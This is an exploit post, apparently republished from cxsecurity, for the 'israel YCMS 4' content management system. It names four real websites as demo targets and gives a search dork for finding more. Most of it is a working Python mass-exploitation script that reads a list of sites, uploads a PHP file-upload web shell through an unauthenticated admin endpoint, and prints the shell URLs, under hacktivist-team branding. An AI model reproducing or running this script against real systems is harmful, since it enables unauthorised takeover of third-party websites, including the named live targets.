2023-11-30 05:31:45 Author: cxsecurity.com(查看原文) 阅读量:26 收藏
israel YCMS 4 - Remote File Upload - CSRF / Shell Upload
[-] Title : israel YCMS 4 - Remote File Upload - CSRF / Shell Upload [-] Author : 1933 (TURK TM - SS CYBER) [-] Vendor : https://website.laki.co.il/ [-] Category : Webapps [-] Dork : intext:נבנה ע"י לק"י בניית אתרים [-] Date : 20/11/2023 [-] Demo Targets : 1-http://barak.ksite.co.il/ 2-https://website.laki.co.il/ 3-https://chanofan.com/ 4-http://www.radio-lev.co.il/ Exploit: import requests import re from colorama import * import os if os.name == 'nt': os.system('cls') else: os.system('clear') init() code_up = """ <!DOCTYPE html> <html> <head> <title>1933-SS</title> <style> body { background-color: black; text-align: center; } h1 { color: red; } .uploaded { color: green; } </style> </head> <body> <h1>1933-ss cyber team</h1> <form enctype='multipart/form-data' action='' method='POST'> <input type='file' name='uploaded_file'></input> <input type='submit' value='Upload'></input> </form> </body> </html> <?php if (!empty($_FILES['uploaded_file'])) { $upload_dir = './'; // Define the directory where you want to save the uploaded files $file_name = basename($_FILES['uploaded_file']['name']); $file_path = $upload_dir . $file_name; if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $file_path)) { echo '<span class="uploaded">The file ' . $file_name . ' has been uploaded.</span>'; } else { echo '<h1>There was an error uploading the file, please try again.</h1>'; } } ?> """ banner = Fore.CYAN +""" _____ _____ _______ ______ ______ _____ _______ ______ __ __ / ____/ ____| / ____\ \ / | _ \| ____| __ \ |__ __| ____| /\ | \/ | | (___| (___ | | \ \_/ /| |_) | |__ | |__) | | | | |__ / \ | \ / | \___ \\\___ \ | | \ / | _ <| __| | _ / | | | __| / /\ \ | |\/| | ____) ____) | | |____ | | | |_) | |____| | \ \ | | | |____ / ____ \| | | | |_____|_____/ \_____| |_| |____/|______|_| \_\ |_| |______/_/ \_|_| |_| """ banner2 = "\nCoded by :" + Fore.RED +""" T.ME/D4LGH4CK_TM | T.ME/SS_CYBER_TEAM""" print(banner+banner2+Fore.WHITE) websites = input("\nwebsite list: ") websites = open(websites,"r").read().split("\n") for url in websites: try: value = "yadmin/apps/browser.php?op=gallery&CKEditor=page-content&CKEditorFuncNum=1&langCode=en" upload_url = url+'/yadmin/apps/browser.php?op=upload&type=other&id=*' uploader = {'upload-to-gallery[]': ('ss.php',code_up)} response = requests.post(upload_url, files=uploader , timeout=3) except: pass try: response = requests.get(url+value,timeout=10) if response.status_code == 200: match = re.search(r'/ss(\d+\.php)', response.text) if match: value = match.group(1) print(Fore.GREEN +url+f"uploads/other/ss{value}") else: print(Fore.RED+f"Request to {url} failed with status code {response.status_code}"+Fore.WHITE) except: continue ************************************************** - Telegram : @asad_turk0 - Tnx : RED KURD (@RED_AS_SOCITY) - Thanks to my dear friend "RED KURD" for help to discover the bug.
Thanks for you comment!
Your message is in quarantine 48 hours.
{{ x.nick }}
{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |
如有侵权请联系:admin#unsafe.sh